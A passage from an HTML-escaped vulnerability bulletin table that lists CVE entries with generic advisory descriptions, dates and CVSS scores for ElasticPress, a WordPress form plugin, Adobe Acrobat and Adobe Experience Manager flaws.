&lt;td&gt;Insertion of Sensitive Information Into Sent Data vulnerability in 10up ElasticPress allows Retrieve Embedded Sensitive Data. This issue affects ElasticPress: from n/a through 5.3.4.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62088&quot; target=&quot;_blank&quot;&gt;CVE-2026-62088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;10web--Form Maker by 10Web Mobile-Friendly Drag &amp;amp; Drop Contact Form Builder&lt;/td&gt;
&lt;td&gt;The Form Maker by 10Web - Mobile-Friendly Drag &amp;amp; Drop Contact Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the bulk_action parameter in all versions up to, and including, 1.15.46 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85645&quot; target=&quot;_blank&quot;&gt;CVE-2026-85645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81997&quot; target=&quot;_blank&quot;&gt;CVE-2026-81997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79910&quot; target=&quot;_blank&quot;&gt;CVE-2026-79910&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80160&quot; target=&quot;_blank&quot;&gt;CVE-2026-80160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80162&quot; target=&quot;_blank&quot;&gt;CVE-2026-80162&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81977&quot; target=&quot;_blank&quot;&gt;CVE-2026-81977&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81978&quot; target=&quot;_blank&quot;&gt;CVE-2026-81978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81982&quot; target=&quot;_blank&quot;&gt;CVE-2026-81982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81984&quot; target=&quot;_blank&quot;&gt;CVE-2026-81984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81991&quot; target=&quot;_blank&quot;&gt;CVE-2026-81991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Heap-based Buffer Overflow vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81993&quot; target=&quot;_blank&quot;&gt;CVE-2026-81993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82001&quot; target=&quot;_blank&quot;&gt;CVE-2026-82001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an Untrusted Search Path vulnerability that could result in privilege escalation. An attacker with high privileges could leverage this vulnerability to gain elevated access. Exploit depends on conditions beyond the attacker&#039;s control. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80159&quot; target=&quot;_blank&quot;&gt;CVE-2026-80159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64542&quot; target=&quot;_blank&quot;&gt;CVE-2025-64542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64584&quot; target=&quot;_blank&quot;&gt;CVE-2025-64584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64588&quot; target=&quot;_blank&quot;&gt;CVE-2025-64588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64589&quot; target=&quot;_blank&quot;&gt;CVE-2025-64589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64610&quot; target=&quot;_blank&quot;&gt;CVE-2025-64610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64618&quot; target=&quot;_blank&quot;&gt;CVE-2025-64618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64830&quot; target=&quot;_blank&quot;&gt;CVE-2025-64830&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64838&quot; target=&quot;_blank&quot;&gt;CVE-2025-64838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64854&quot; target=&quot;_blank&quot;&gt;CVE-2025-64854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64866&quot; target=&quot;_blank&quot;&gt;CVE-2025-64866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64868&quot; target=&quot;_blank&quot;&gt;CVE-2025-64868&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19479&quot; target=&quot;_blank&quot;&gt;CVE-2026-19479&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19612&quot; target=&quot;_blank&quot;&gt;CVE-2026-19612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19644&quot; target=&quot;_blank&quot;&gt;CVE-2026-19644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19713&quot; target=&quot;_blank&quot;&gt;CVE-2026-19713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27227&quot; target=&quot;_blank&quot;&gt;CVE-2026-27227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71356&quot; target=&quot;_blank&quot;&gt;CVE-2026-71356&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71357&quot; target=&quot;_blank&quot;&gt;CVE-2026-71357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71388&quot; target=&quot;_blank&quot;&gt;CVE-2026-71388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71440&quot; target=&quot;_blank&quot;&gt;CVE-2026-71440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71565&quot; target=&quot;_blank&quot;&gt;CVE-2026-71565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72626&quot; target=&quot;_blank&quot;&gt;CVE-2026-72626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72627&quot; target=&quot;_blank&quot;&gt;CVE-2026-72627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75629&quot; target=&quot;_blank&quot;&gt;CVE-2026-75629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75635&quot; target=&quot;_blank&quot;&gt;CVE-2026-75635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75636&quot; target=&quot;_blank&quot;&gt;CVE-2026-75636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75637&quot; target=&quot;_blank&quot;&gt;CVE-2026-75637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
